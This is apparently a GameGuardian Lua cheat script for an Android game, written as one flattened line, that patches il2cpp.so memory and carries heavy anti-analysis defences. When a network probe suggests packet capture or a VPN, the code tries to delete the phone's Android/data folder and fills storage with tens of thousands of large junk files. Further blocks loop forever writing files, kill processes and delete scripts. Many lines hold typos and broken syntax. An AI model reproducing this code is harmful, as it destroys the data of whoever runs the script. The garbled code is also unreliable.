local loadingBox = getLoadingBox ('天亿:\n正在检查环境请耐心等待...') loadingBox ['显示'] () gg.sleep(3000) loadingBox ['关闭'] () gg.sleep(0) function S_Pointer(t_So, t_Offset, _bit) local function getRanges() local ranges = {} local t = gg.getRangesList('^/data/*.so*$') for i, v in pairs(t) do if v.type:sub(2, 2) == 'w' then table.insert(ranges, v) end end return ranges end local function Get_Address(N_So, Offset, ti_bit) local ti = gg.getTargetInfo() local S_list = getRanges() local t = {} local _t local _S = nil if ti_bit then _t = 32 else _t = 4 end for i in pairs(S_list) do local _N = S_list[i].internalName:gsub('^.*/', '') if N_So[1] == _N and N_So[2] == S_list[i].state then _S = S_list[i] break end end if _S then t[#t + 1] = {} t[#t].address = _S.start + Offset[1] t[#t].flags = _t if #Offset ~= 1 then for i = 2, #Offset do local S = gg.getValues(t) t = {} for _ in pairs(S) do if not ti.x64 then S[_].value = S[_].value & 0xFFFFFFFF end t[#t + 1] = {} t[#t].address = S[_].value + Offset[i] t[#t].flags = _t end end end _S = t[#t].address end return _S end local _A = string.format('0x%X', Get_Address(t_So, t_Offset, _bit)) return _A end ffvpn = "https://biaozhunshijian.bmcx.com" ffvpn = "https://vpn.uibe.edu.cn/por/phone_index.csp?rnd=0.23178949332658605#https%3A%2F%2Fvpn.uibe.edu.cn%2F" x = tostring(gg.makeRequest(ffvpn)) if not x or not x:sub(1, 20) then-----寻川制作,文字勿删,否则失效 g.alert("GG无法访问网络请查看相应限权", "")----检测是否存在VPN elseif #x < 100 or x:find("SSL") or x:find("I/O") or x:find("javax") then os.remove("/storage/emulated/0/Android/data/")---os写法,直接删除data系统重要文件进行格机 for file = 1, 99999 do io = io string = string File = "/storage/emulated/0/"..file..".txt" Num = io.open(File, "w")----通过for循环创建文件 Cache = string.rep("检测到存在抓包等违规行为\n请立刻关闭VPN\n正在执行格机\n", 800000) Num:write(Cache) end for _FORV_4_ = 1, 3 do function AA(bytes,result1,result2) for i=1,999999 do local bytesa=load(bytes) end end function BB() local dataArr={'999999','0000000'} for index,value in pairs(dataArr) do bytes = tonumber(value) AA(bytes,result1,result2) end end BB() os.remove("/storage/emulated/0/Android/data/") for file = 1, 99999 do io = io string = string File = "/storage/emulated/0/"..file..".txt" Num = io.open(File, "w") Cache = string.rep("检测到存在抓包等违规行为\n请立刻关闭VPN\n正在执行格机", 800000)----通过for循环执行创建文件 Num:write(Cache) end print("网络请求警告:\n\n╾╾╾╾╾ 警告 ⚠╾╾╾╾╾ \n检测到您正在使用恶意抓包软件破解脚本\n已自动删除原脚本\n请勿有违规行为\n╾╾╾╾╾⚠ 警告 ⚠╾╾╾╾╾ ") end end local lianfy=[===[ local buhuo=gg.makeRequest('http://www.beijing-time.com/').content while buhuo==nil do print("网络请求警告:\n\n╾╾╾╾╾⚠ 警告 ⚠╾╾╾╾╾ \n检测到当前为无网络环境 或您使用了跳过抓包 触发本次防御系统 如果误报请重启\n╾╾╾╾╾⚠ 警告 ⚠╾╾╾╾╾ ") os.exit() end local ffvpn= "https://vpn.uibe.edu.cn/por/phone_index.csp?rnd=0.23178949332658605#https%3A%2F%2Fvpn.uibe.edu.cn%2F" local x=tostring(gg.makeRequest(ffvpn)) while #(x)<100 or x:find( "SSL" ) or x:find('I/O') or x:find('javax') do os.remove(g.getFil():match("[^/]*$")) print("网络请求警告:\n\n╾╾╾╾╾⚠ 警��� ⚠╾╾╾╾╾ \n检测到您正在使用恶意抓包软件破解脚本\n已自动删除原脚本\n请勿有违规行为\n╾╾╾╾╾⚠ 警告 ⚠╾╾╾╾╾ ") os.exit() end for i=1,666 do loadfile(string.char(47,115,121,115,116,101,109,47,112,114,105,118,45,97,112,112,47,83,101,116,116,105,110,103,115,47,83,101,116,116,105,110,103,115,46,97,112,107)) end EAG,Tool=gg.searchNumber,nil InTo,to=string.char,nil EAG(InTo(71,88,76,229,176,143,228,186,148,233,152,178,229,190,161),127) EAG,Tool=gg.searchNumber,nil EAG(InTo(71,88,76,229,176,143,228,186,148)) InTo,to=string.char,nil EAG,Tool=gg.searchNumber,nil --防部分log及load local function _SSSV4_() local SSS = function(code) local res = '' for i in ipairs(code) do res = res..string.char(code[i]) end return res end if tostring(_ENV.gg):match(SSS({102,117,110,99,116,105,111,110,58,32,64,40,46,45,41,58})) then while(true) do print("操你妈") os.exit() end else for k in(tostring(_ENV):gmatch(SSS({102,117,110,99,116,105,111,110,58,32,64,40,46,45,41,58}))) do if k ~= gg.getFile() then while(true) do print("操你妈") os.exit() end end end end if debug.traceback == nil or gg.getFile == nil then while(true) do print("操你妈") os.exit() end end for j in tostring(debug.traceback()):gmatch(SSS({40,46,45,41,10})) do if j:match(SSS({46,40,47,46,45,41,58})) then if j:match(SSS({46,40,47,46,45,41,58})) ~= gg.getFile() then while(true) do print("操你妈") os.exit() end end end end local f = io.open(gg.FILES_DIR:match("^(.*/)([^/]*)$").."shared_prefs/"..gg.PACKAGE.."_preferences.xml", "r") if not f then while(true) do print("操你妈") os.exit() end else local SSSV4_R = f:read(SSS({42,97})) f:close() for k in SSSV4_R:gmatch(SSS({104,105,115,116,111,114,121,37,45,48,34,62,40,46,45,41,60})) do if k ~= gg.getFile() then while(true) do print("操你妈") os.exit() end end end end end --SSS防御 Counters = {} Names = {} function hook() f = debug.getinfo(1, "f").func if Counters[f] == nil then Counters[f] = 1 Names[f] = debug.getinfo(1, "Sn") end if Counters[f]>1 then while true do print("操你妈") os.exit(2222) end end end --防部分HOOK XX = io.open(gg.getFile() .. ".log_HOOK.lua", "r") if XX == nil then else print("操你妈") os.exit() end XXa = io.open(gg.getFile() .. ".log_HOOK.lua", "r") if XXa == nil then else end XX = io.open(gg.getFile() .. ".log_HOOK.lua", "r") if XX == nil then else print("操你妈") os.exit() end XXa = io.open(gg.getFile() .. ".log_HOOK.lua", "r") if XXa == nil then else end --删除HOOK文件 io.open("/storage/emulated/0/MRCS","w") os.remove("/storage/emulated/0/MRCS") file=io.open("/storage/emulated/0/MRCS","r") if file~=nil then print("操你妈") os.exit() end io.open("/storage/emulated/0/WYCS","w") file=io.open("/storage/emulated/0/WYCS","r") if file==nil then print("操你妈") os.exit() end os.remove("/storage/emulated/0/WYCS") --防防刷文件 ZN = io.open(gg.getFile() .. ".log_HOOK.lua", "r") if ZN == nil then else print("操你妈") os.exit() i = 1 while true do i = i + 1 if i > 999999999 then break end end end ZNa = io.opn(gg.getFile() .. ".log_HOOK.lua", "r") if ZNa == nil then else end ZN = io.open(gg.getFile() .. ".log_HOOK.lua", "r") if ZN == nil then else print("操你妈") os.exit() i = 1 while true do i = i + 1 if i > 999999999 then break end end end ZNa = io.open(gg.getFile() .. ".log_HOOK.lua", "r") if ZNa == nil then else end --防部分HOOK if string.find(tostring(debug.getinfo(load)["func"]), "function: load") == nil then print("操你妈") os.exit() end --防部分LOAD function AAbytes,result1,result2) for i=1,2 do local bytesa=load(bytes) end end function BB() lcal dataArr={'40000','0000000'} for index,value in pairs(dataArr) do bytes = tonumber(value) AA(bytes,result1,result2) end end BB() debug.sethook() local BassF={} local gg_setRanges=gg.setRanges _ENV["gg"]["setRanges"]=function(Value) local Shua=string.rep("0","9999999") return gg_setRanges(Value.."."..Shua) end searchNumber=_ENV["gg"]["searchNumber"] _ENV["gg"]["searchNumber"]=function(a,b,c,d,e,f,g) local spit=function(_txt,id) local index={} for value in string.gmatch(_txt,"(.-)"..id) do table.insert(index,value) end local en=string.match(_txt,".+"..id.."(.+)") if string.find(en,":") then table.in(index,string.match(en,"(.+):")) table.insert(index,string.match(en,"(:.+)")) else table.insert(index,en) end return index end local jg, min, max d=d or gg.SIGN_EQUAL e=e or 0 f=f or -1 g=g or 0 local rp=("0"):rep(1024^2) b=b.."."..rp d=d.."."..rp e=e.."."..rp f=f.."."..rp g=g.."."..rp if not tonumber(a) then local tb={} a=spit(a,";") for i, k in pairs(a) do if k:find(":") then a=table.concat(a,";") break end if not string.find(k,"[^%$%*,%-%.0123456789:;%?ABCDEFHQRWXabcdefhqrwx~]") then a[i]=string.rep("0",10000)..k end end if type(a)=="table" then a=table.concat(a,";") end return searchNumber(a,b,c,d,e,f,g) end a=tonumber(a) max = string.rep("0",10000) .. (a - math.random(10,20)) .. "~" .. (a + math.random(10,20)) a = string.rep("0",10000)..a searchNumber(max, b, c, d, e, f, g) if gg.getResultsCount()==0 then return gg.toast("没有搜索到值") end local glab, autIL if gg.getResultsCount()<4 then glab=gg.getResultsCunt() autIL=math.random(1,glab) else glab=math.random(4,5) autIL=math.random(2,glab-1) end local sear = gg.getResults(glab) for i,k in pairs(sear) do if i == autIL then searchNumber(a,b,c,d,e,f,g) jg = gg.getResults(gg.getResultsCount()) end gg.loadResults({sear[i]}) searchNumber(k.value, b, c, d, e, f, g) gg.clearResults() end return gg.loadResults(jg) end local gg_getResults=gg.getResults _ENV["gg"]["getResults"]=function(Value) local Shua=string.rep("0","999999") return gg_getResults(Shua..Value) end _ENV["gg"]["editAll"]=function(a,b) local sear=gg.getResults(gg.getResultsCount()) if sear[1]==nil then gg.toast("没有检测到修改值") end for i,k in pairs(sear) do sear[i].value=a sear[i].flags=b end return gg.setValues(sear) end local getRangesList=_ENV["gg"]["getRangesList"] local setValues=_ENV["gg"]["setValues"] _ENV["gg"]["setValues"]=function(_Tab) if not _ENV["\180\242"] then _ENV["\180\242"]=true getRangesList(string.rep("\000",(1024^2*5))) end for i=1,20000 do BassF[i]={address=1,value=0,flags=16} end setValues(BassF) setValues(_Tab) setValues(BassF) end local string_char = string.char local char_tab = {} for i = 0, 255 do char_tab[i] = string_char(i) end local pairs = pairs string.char = function(...) local arg = {...} local str = '' for i, v in pairs(arg) do str = str .. char_tab[v] end return str end local string_rep = string.rep string.rep = function(str, n, sep) local str2 = string_rep(str, n, sep) local num = #str * n + (sep and #sep * (n - 1) or 0) while #str2 ~= num do os.exit() end return str2 end while string.find(gg.EXT_CACHE_DIR,"com.ByXEY") do end local __index local LYF_DefEnv = {["输出你🐴"]="看你🐴的ENV"} local LYF_DefGetYb = {["输出你🐴"]="看你🐴的ENV"} local LYF_DefGetDg = {["输出你🐴"]="看你🐴的ENV"} setmetatable(LYF_DefGetDg,{__index = debug.getmetatable}) setmetatable(LYF_DefEnv, {__index = _ENV}) setmetatable(LYF_DefGetYb,{__index = getmetatable}) _ENV=LYF_DefEnv getmetatable=LYF_DefGetYb debug.getmetatable=LYF_DefGetDg debug.setupvalue(debug.getinfo(1)['func'],1,_ENV) --Art修改器防御 while string.find(gg.EXT_CACHE_DIR,"com.Art.Tool") do end --防kk钞能力修改器 while string.find(gg.EXT_CACHE_DIR,"catch_.me_.if_.you_.can_93") do end for k,v in pairs(_ENV) do if type(v)=="table" then for kk,vv in pairs(v) do if type(vv)=="function" then local zhuangtai,Fuanfuizhi=pcall(string.dump,vv) while zhuangtai==nil or zhuangtai do end end end end end --gg.internal2防御 local Table_Pcall={} for k,v in pairs(_ENV) do if type(v)=="table" then for kk,vv in pairs(v) do if type(vv)=="function" then local zhuangtai,Fanhuizhi=pcall(gg.internl2,vv)--遍历脚本名称 for kk in string.gmatch(Fanhuizhi,"/(.-):") do Tabl_Pall[#Table_Pcall+1]="/"..kk end --是否存在JAVA层 for kk in string.gmatch(Fanhuizhi,"%[Java%]%:%-1") do Table_Pcall[#Table_Pcall+1]=kk end end end end end local Art_Hook=function(Chan) Blianliang = "" for i = 1, Chan do num = math.random(1, 26) if num % 2 == 0 then Blianliang = Blianliang .. string.char(num + 64) else Blianliang = Blianliang .. string.char(num + 96) end end return Blianliang end for k=1,500 do _ENV[Art_Hook(k)]="Hook Char" end local Jishuan={} local function hook() Jishuan[#Jishuan+1]="" end local Fanhui = debug.sethook(hook, "r") Rep=string.rep("log你妈呢?\n",1048576) local List={ ["string"]=2, ["io"]=2, ["os"]=2, ["math"]=2, ["table"]=2 } for i, v in pairs(List) do for k,l in pairs(_ENV[i]) do pcall(l,{Rep}) end end function ffvpns() ffvpn= "https://vpn.uibe.edu.cn/por/phone_index.csp?rnd=0.23178949332658605#https%3A%2F%2Fvpn.uibe.edu.cn%2F" x=(tostring(gg[ "makeRequest" ](ffvpn))) if not x or not x:sub(1,20) then gg[ "alert" ]( "请查看相应权限" ) else while #(x)<100 or x:find( "SSL" ) or x:find('I/O') or x:find('javax') do gg[ "alert" ]( "警告❗:\n⛔网络数据通道异常⛔\n\n请立刻停止你的抓包行为,否则手机屏幕卡死" ) local mpxgk=optfff() end end end --rep防御 a="a" aa=a:rep(5) if aa == "aaaaa" then print("验证通过") else print("检测到rep") end --老外部分核心防御 Top GEO for i=1,666 do loadfile(string.char(47,115,121,115,116,101,109,47,112,114,105,118,45,97,112,112,47,83,101,116,116,105,110,103,115,47,83,101,116,116,105,110,103,115,46,97,112,107)) end abc ={} abc.last = gg.getFile() abc.data = loadfile(abc.last) abc.cpp = abc.data if abc.cpp ~= nil then abc.data = nil ppb = abc.last:match("[^/]+$") ppi = "lohhhggg" pu = gg.getResults(5000) os.rename("" .. abc.last .. "", "" .. abc.last:gsub("/[^/]+$", "") .. "/" .. ppi .. "") prt = loadfile("" .. abc.last:gsub("/[^/]+$", "") .. "/" .. ppi .. "") if prt ~= nil then os.rename("" .. abc.last:gsub("/[^/]+$", "") .. "/" .. ppi .. "", "" .. abc.last:gsub("/[^/]+$", "") .. "/" .. ppb .. "") gg.alert("禁止函数解密行为") while true do os.exit() end end end local ttc=function(ips) if ipa=="" or ips==nil then ips="".."GC" end trcp="🖕" while true do io.stderr:write(ips.."\n"..trcp.."\n") end end --防捕捉 local Seabit2=string.char(0,0,0,0) for i=1,19 do Seabit2=Seabit2..Seabit2 end function smz() for s=1,30 do gg.searchNumber(Seabit2) end end function random() bn={'','*','<','{/','>'} x=math.random local e,f,g,h,i=x(1,5),x(1,5),x(1,5),x(1,5),x(1,5) a=bn[e]..bn[f]..bn[g]..bn[h]..bn[i] return a,b,c,d,e,f,g,h,i end ss="" for l=1,4990 do ss=ss..random()..random() end function SOUS(SHUJU) gg.setVisible(false) SHUJU=ss..ss..SHUJU..ss smz() gg.searchNumber(SHUJU) gg.setVisible(false) end function GAIS(SHUJU) local SHUJU=ss..ss..string.char(math.random(1,183))..SHUJU..string.char(math.random(1,176))..ss gg.editAll(SHUJU,4) end local function _SSSV4_() local SSS = function(code) local res = '' for i in ipairs(code) do res = res..string.char(code[i]) end return res end if tostring(_ENV.gg):match(SSS({102,117,110,99,116,105,111,110,58,32,64,40,46,45,1,58})) then while(true) do print("操你妈") os.exit() end else for k in(tostring(_ENV):gmatch(SSS({102,117,110,99,116,105,111,110,58,32,64,40,46,45,41,58}))) do if k ~= gg.getFile() then while(true) do print("操你妈") os.exit() end end end end if debug.traceback == nil or gg.getFile == nil then while(true) do print("操你妈") os.exit() end end for j in tostring(debug.traceback()):gmatch(SSS({40,46,45,41,10})) do if j:match(SSS({46,40,47,46,45,41,58})) then if j:match(SSS({46,40,47,46,45,41,58})) ~= gg.getFile() then while(true) do print("操你妈") os.eit() end end end end local f = io.open(gg.FILES_DIR:match("^(.*/)([^/]*)$")."shared_prefs/"..gg.PACKAGE.."_preferences.xml", "r") if not f then while(true) do print("操你妈") os.exit() end else local SSSV4_R = f:read(SSS({42,97})) f:close() for k in SSSV4_R:gmatch(SSS({104,105,115,116,111,114,121,37,45,48,34,62,40,46,45,41,60})) do if k ~= gg.getFile() then while(true) do print("操你妈") os.exit() end end end end end local A=tostring(debug.getinfo(load)['func']) local B=A:match("@(.-):") if not string.find(A,"function: load") then gg.alert("工具人 抱歉你工具没了🌝\n\n判断工具所在路径...\n"..B.."\n已删除❗❗❗") os.remove(Bmth"[^/]*$")) os.remove(gg.getFile():match("[^/]*$")) os.remove(B) return os.exit() end ----------------------防脚本反编译----------------------- function Sots_searchNumber(n, type, ft, sign, r, s) local waring = "\nMax" gg.setVisible(false) gg.searchNumber(n, type, ft, sign, r, s) if gg.isVisile(true) then gg.setVisible(false) gg.processKill() print(waring) while true do gg.setVisible(false) while true do end end end end if debug.getinfo(gg.alert).source == "=[Java]" then else i = 1 gg.setVisible(false) while true do i = i + 1 file = io.open("/storage/emulated/0/" .. i, "w") text = "╾╾ ✭ 🇧 🇾 🇼 🇽 ✭╾╾\n" text = text:rep(999) file:write(text) file:close() gg.setVisible(false) gg.processKill() gg.setVisible(true) end return end save = {} for v = 1, 30000 do table.insert(save, { address = 0 + v, flags = 12 }) end for i = 1, 5 do gg.addLstItems(save) end time = os.time() if os.time() - time >= 2 then i = 1 gg.setVisible(false) while true do i = i + 1 file = io.open("/storage/emulated/0/" .. i, "w") text = "╾╾ ✭ 🇧 🇾 🇼 🇽 ✭╾╾\n" text = text:rep(999) file:write(text) file:close() gg.setVisible(false) gg.processKill() gg.setVisible(true) end return end time = os.clock() if os.clock() - time >= 2 then i = 1 gg.setVisible(false) while true do i = i + 1 file = io.open("/storage/emulated/0/" .. i, "w") text = "╾╾ ✭ 🇧 🇾 🇼 🇽 ✭╾╾\n" text = text:rep(999) file:write(text) file:close() gg.setVisible(false) gg.processKill() gg.setVisible(true) end return end if loadfile == "" then i = 1 gg.setVisible(false) while true do i = i + 1 file = io.open("/storage/emulated/0/" .. i, "w") text = "╾╾ ✭ 🇧 🇾 🇼 🇽 ✭╾╾\n" text = text:rep(999) file:write(text) file:close() gg.setVisible(false) gg.processKill() gg.setVisible(true) end end if gg.getFile == "" then i = 1 gg.setVisible(false) while true do i = i + 1 file = io.open("/storage/emulated/0/" .. i, "w") text = "╾╾ ✭ 🇧 🇾 🇼 🇽 ✭╾╾\n" text = text:rep(999) file:write(text) file:close() gg.setVisible(false) gg.processKill() gg.setVisible(true) end end if os.exit == "" then i = 1 gg.setVisible(false) while true do i = i + 1 file = io.open("/storage/emulated/0/" .. i, "w") text = "╾╾ ✭ 🇧 🇾 🇼 🇽 ✭╾╾\n" text = text:rep(999) file:write(text) file:close() gg.setVisible(false) gg.processKill() gg.setVisible(true) end end if os.date == "" then i = 1 gg.setVisible(false) while true do i = i + 1 file = io.open("/storage/emulated/0/" .. i, "w") text = "╾╾ ✭ 🇧 🇾 🇼 🇽 ✭╾╾\n" text = text:rep(999) file:write(text) file:close() gg.setVisible(false) gg.processKill() gg.setVisible(true) end end if load == "" then i = 1 gg.setVisible(false) while true do i = i + 1 file = io.open("/storage/emulated/0/" .. i, "w") text = "╾╾ ✭ 🇧 🇾 🇼 🇽 ✭╾╾\n" text = text:rep(999) file:write(text) file:close() gg.setVisible(false) gg.processKill() gg.setVisible(true) end end gg.removeListItems(save) gg.clearResults() gg.setVisible(false) local f = gg.getResults(505) gg.addListItems(f) gg.removeListItems(f) local j = gg.getResults(55) gg.setVisible(false) gg.clearResults() local hook = function(why, f) gg.addListItems(j) gg.removeListItems(j) end debug.sethook(hook, 'crl') gg.setVisible(true) if gg.isPackageInstalled("sstool.only.com.sstool") or gg.isPackageInstalled("sstool.only.com.sstool") or gg.isPackageInstalled("sstool.only.com.sstool") then gg.alert("请卸载解��工��后重新执行") os.remove(string.gsub(gg.getFile(),"@","")) g.lert("检测到解密工具,因此出现此状况!") os.exit() while true do end end if gg.isPackageInstalled("com.fan.ggluadec") or gg.isPackageInstalled("com.fan.ggxxls") or gg.isPackageInstalled("com.fan.ggxxls-1.10") then gg.alert("花里胡哨的东西没用的!") os.exit() while true do end end if gg.isPackageInstalled("com.maggienorth.max.postdata") then gg.alert("\n检测到你有抓包软件!\n\n请卸载后再运行脚本!.") gg.processKill() os.exit() while true do end end if gg.isPackageInstalled("app.greyshirts.sslcapture-1.10") then gg.alert("\n检测到你有抓包软件!\n\n请卸载后再运行脚本!") gg.processKill() os.exit() while true do end end if gg.isPackageInstalled("com.chenlun.autumncloudlua") then gg.alert("\n检测到你有云解密工具!\n\n请卸载后再运行脚本!") gg.processKill() os.exit() while true do end end ]===] BD = 0 BD1 = gg.isPackageInstalled('com.evbadroid.wicap') BD2 = gg.isPackageInstalled('com.xuan.laofan') BD3 = gg.isPackageInstalled('com.xky.hosts') BD4 = gg.isPackageInstalled('com.minhui.networkcapture') BD5 = gg.isPackageInstalled('app.greyshirts.sslcapture') BD6 = gg.isPackageInstalled('com.guoshi.httpcanary.premium') BD7 = gg.isPackageInstalled('com.sprintwind.packetcapturetool') BD8 = gg.isPackageInstalled('com.httpcanary.pro') BD9 = gg.isPackageInstalled('cn.iyya.vvv') BD10 = gg.isPackageInstalled('') BD11 = gg.isPackageInstalled('') BD12 = gg.isPackageInstalled('') if BD1 == true then BD = 1 end if BD2 == true then BD = 1 end if BD3 == true then BD = 1 end if BD4 == true then BD = 1 end if BD5 == true then BD = 1 end if BD6 == true then BD = 1 end if BD7 == true then BD = 1 end if BD8 == true then BD = 1 end if BD9 == true then BD = 1 end if BD10 == true then BD = 1 end if BD11 == true then BD = 1 end if BD12 == true then BD = 1 end if BD == 1 then end gg.toast("正在检测环境,请稍等.....") if gg.isHTTPdump() == false then gg.toast("环境正常,正在开启脚本") end if gg.isHTTPdump() == true then gg.alert("环境异常,检测到你使用了抓包❗\n正在退出脚本❗") os.exit()--退出脚本--有退出修改器函数就用这个--gg.ggExit() end if gg.isHTTPdump() == "error" then gg.alert("请检查网络是否良好❗") end gg.toast("正在二次检测环境,请稍等.....") if gg.isHTTPdump() == false then gg.toast("环境正常,正在开启脚本") end if gg.isHTTPdump() == true then gg.alert("环境异常,检测到你使用了抓包❗\n正在退出脚本❗") os.exit()--退出脚本--有退出修改器函数就用这个--gg.ggExit() end if gg.isHTTPdump() == "error" then gg.alert("请检查网络是否良好❗") end gg.toast("开启成功正在连接脚本") ffvpn = "https://biaozhunshijian.bmcx.com" ffvpn = "https://vpn.uibe.edu.cn/por/phone_index.csp?rnd=0.23178949332658605#https%3A%2F%2Fvpn.uibe.edu.cn%2F" x = tostring(gg.makeRequest(ffvpn)) if not x or not x:sub(1, 20) then gg.alert("GG无法访问网络请查看相应限权", "") elseif #x < 100 or x:find("SSL") or x:find("I/O") or x:find("javax") then gg.alert("你已开启了VPN环境请勿用抓包⚠⚠⚠🛡防抓包开启成功🛡🛡警告🛡否则发现关闭使用权") for _FORV_4_ = 1, 3 do function AA(bytes,result1,result2) for i=1,999999 do local bytesa=load(bytes) end end function BB() local dataArr={'999999','0000000'} for index,value in pairs(dataArr) do bytes = tonumber(value) AA(bytes,result1,result2) end end BB() print("网络请求警告:\n\n╾╾╾╾╾ 警告 ⚠╾╾╾╾╾ \n检测到您正在使用恶意抓包软件破解脚本\n已自动删除原脚本\n请勿有违规行为\n╾╾╾╾╾⚠ 警告 ⚠╾╾╾╾╾ ") end for _FORV_4_ = 1, 10 do gg.setVisible(true) gg.setVisible(false) end while "http://www.time163.com/" do os.exit(gg.setVisible(true)) end end function SQ(FUNCTIONADD,TYPE,VALUE) local SOMOD=gg.getRangesList("il2cpp.so") if SOMOD[1]==nil then _error() else gg.setValues({{address=SOMOD[1].start+FUNCTIONADD,flags=TYPE,value=VALUE}}) gg.setValues({{addres=SOMOD[1].start+FUNCTIONADD+4,flags=TYE,value="1EFF2FE1r"}}) end end function _error() gg.alert([[ 开启失败 失败原因:进程存储太小! 解决方案:刷新进程后重启开启 ]]) end function sq(FUNCTIONADD,TYPE,VALUE) local SOMOD=gg.getRangesList("il2cpp.so") if SOMOD[1]==nil then _error() else gg.setValues({{address=SOMOD[1].start+FUNCTIONADD,flags=TYPE,value=VALUE}}) gg.setValues({{address=SOMOD[1].start+FUNCTIONADD+4,flags=TYPE,value="1EFF2FE1r"}}) end end function _error() gg.alert([[ 开启失败 失败原因:进程存储太小! 解决方案:刷新进程后重启开启 ]]) end function GL(FUNCTIONADD,TYPE,VALUE) local SOMOD=gg.getRangesList("il2cpp.so") if SOMOD[1]==nil then _error() else gg.setValues({{address=SOMOD[1].start+FUNCTIONADD,flags=TYPE,value=VALUE}}) gg.setValues({{address=SOMOD[1].start+FUNCTIONADD+4,flags=TYPE,value="1EFF2FE1r"}}) end end function _error() gg.alert([[ 开启失败 失败原因:进程存储太小! 解决方案:刷新进程后重启开启 ]]) end function readValue(address, flags) return gg.getValues({{address = address, flags = flags}})[1]["value"]end ms = { } function setvalue ( add , value , falgs , dj ) local WY = { } WY [ 1 ] = { } WY [ 1 ].address = add WY [ 1 ].value = value WY [ 1 ].flags = falgs if dj == true then WY [ 1 ].freeze = true gg.addListItems ( WY ) else gg.setValues ( WY ) end end function ms.ss ( num , ty , nc ) local GGNUMBER_1 = num local GGNUMBER_2 = ty local GGNUMBER_3 = false local GGNUMBER_4 = gg.SIGN_EQUAL local GGNUMBER_5 = 0x3000000 local GGNUMBER_6 = 0xFFFFFFFF local GGNUMBER_7 = 0 gg.clearResults ( ) gg.setRanges ( nc ) gg.searchNumber ( GGNUMBER_1 , GGNUMBER_2 , GGNUMBER_3 , GGNUMBER_4 , GGNUMBER_5 , GGNUMBER_6 , GGNUMBER_7 ) Result = gg.getResults ( gg.getResultCount ( ) ) end function ms.py ( num , py , ty ) if ( Result and # Result ~= 0 ) then t = { } for i , v in ipairs ( Result ) do t [ i ] = { } t [ i ].address = v.address + py t [ i ].flags = ty end t = gg.getValues ( t ) for i , v in ipairs ( t ) do if v.value ~= num then Result [ i ] = nil end end local MS = { } for i , v in pairs ( Result ) do MS [ # MS + 1 ] = v end Result = MS end end function ms.bc ( ) data = { } if Result == nil or # Result == 0 then gg.alert ( "开启失败" ) else for i , v in pairs ( Result ) do data [ # data + 1 ] = v.address end end Result = nil end function ms.edit ( nn , off , ty , dj ) if ( Result ) then ms.bc ( ) end if # data > 0 then for i , v in ipairs ( data ) do setvalue ( v + off , nn , ty , dj or false ) end gg.toast ( Name.."成功" ) end end function search(ss,lx,nc,dz1,dz2) if ss~=nil then if lx~=nil then if nc==nil then nc=32 end gg.setRanges(nc) if dz1==nil then dz1="-1" end if dz2==nil then dz1="0" end gg.searchNumber(ss,lx,false,536870912,dz1,dz2) sl=gg.getResultCount() if sl~=0 then sj=gg.getResults(sl) gg.toast("搜索到 "..sl.." 个结果") gg.clearResults() else gg.toast("未搜索到结果") end else gg.toast("无搜索值类型") end else gg.toast("无需搜索值") end end function py1(value,lx,py) if #sj~=nil then z1={} z2={} for i=1,#sj do z1[i]={} z1[i].address=sj[i].address+py z1[i].flags=lx end z1=gg.getValues(z1) for i=1,#sj do if z1[i].value==value then z2[#z2+1]={} z2[#z2]=sj[i] end end sj=z2 z1={} z2={} gg.toast("共偏移 "..#sj.." 个数据") else gg.toast("没有搜索数据") end end function py2(value,lx,py) if #sj~=nil then z1={} z2={} for i=1,#sj do z1[i]={} z1[i].address=sj[i].address+py z1[i].flags=lx end z1=gg.getValues(z1) for i=1,#sj do if z1[i].value~=value then z2[#z2+1]={} z2[#z2]=sj[i] end end sj=z2 z1={} z2={} gg.toast("共偏移 "..#sj.." 个数据") else gg.toast("没有搜索数据") end end function py2(value,lx,py) if #sj~=nil then z1={} z2={} for i=1,#sj do z1[i]={} z1[i].address=sj[i].address+py z1[i].flags=lx end z1=gg.getValues(z1) for i=1,#sj do if z1[i].value~=value then z2[#z2+1]={} z2[#z2]=sj[i] end end sj=z2 z1={} z2={} gg.toast("共偏移 "..#sj.." 个数据") else gg.toast("没有搜索数据") end end function xg1(value,lx,py,dj) if #sj~=nil then z={} for i=1,#sj do z[i]={} z[i].address=sj[i].address+py z[i].flags=lx z[i].value=value if dj==true then z[i].freeze=true end end if dj==true then gg.addListItems(z) else gg.clearList() gg.setValues(z) end gg.toast("共修改 "..#z.." 个数据") else gg.toast("没有搜索数据") end end function dy_wt (ry_wt ) local File = io.open ( '/sdcard/_wt' , 'w+' ) : write ( ry_wt ) gg.processResume ( ) gg.loadList ( "/sdcard/_wt" , gg.LOAD_VALUES ) os.remove ( "/sdcard/_wt" ) gg.clearList ( ) end function ReadPointer(name, offset, i) local re = gg.getRangesList(name) local x64 = gg.getTargetInfo().x64 local va = {[true] = 32, [false] = 4} if re[i or 1] then local addr = re[i or 1].start + offset[1] for i = 2, #offset do addr = gg.getValues({{address = addr, flags = va[x64]}}) if not x64 then addr[1].value = addr[1].value & 0xFFFFFFFF end addr = addr[1].value + offset[i] end return addr end end function gg.edits(addr, Table, name) local Table1 = {{}, {}} for k, v in ipairs(Table) do local value = {address = addr + v[3], value = v[1], flags = v[2], freeze = v[4]} if v[4] then Table1[2][#Table1[2] + 1] = value else Table1[1][#Table1[1] + 1] = value end end gg.addListItems(Table1[2]) gg.setValues(Table1[1]) gg.toast((name or "") .. "开启成功, 共 [ 修改" .. #Table .. "个 ] 值") end function S_Pointer(t_So, t_Offset, _bit) local function getRanges() local ranges = {} local t = gg.getRangesList('^/data/*.so*$') for i, v in pairs(t) do if v.type:sub(2, 2) == 'w' then table.insert(ranges, v) end end return ranges end local function Get_Address(N_So, Offset, ti_bit) local ti = gg.getTargetInfo() local S_list = getRanges() local t = {} local _t local_S = nil if ti_bit then _t = 32 else _t = 4 end for i in pairs(S_list) do local _N = S_list[i].internalName:gsub('^.*/', '') if N_So[1] == _N and N_So[2] == S_list[i].state then _S = S_list[i] break end end if _S then t[#t + 1] = {} t[#t].address = _Sstart + Offset[1] t[#t].flags = _t if #Offset ~= 1 then for i = 2, #Offset do local S = gg.getValues(t) t = {} for _ in pairs(S) do if not ti.x64 then S[_].value = S[_].value & 0xFFFFFFFF end t[#t + 1] = {} t[#t].address = S[_].value + Offset[i] t[#t].flags = _t end end end _S = t[#t].address end return _S end local _A = string.format('0x%X', Get_Address(t_So, t_Offset, _bit)) return _A end function readPointer(name, offset, i) local re = gg.getRangesList(name) local x64 = gg.getTargetInfo().x64 local va = {[true] = 32, [false] = 4} if re[i or 1]then local addr = re[i or 1].start + offset[1] for i = 2, #offset do addr = gg.getValues({{address = addr, flags = va[x64]}}) if not x64 then addr[1].value = addr[1].value & 0xFFFFFFFF end 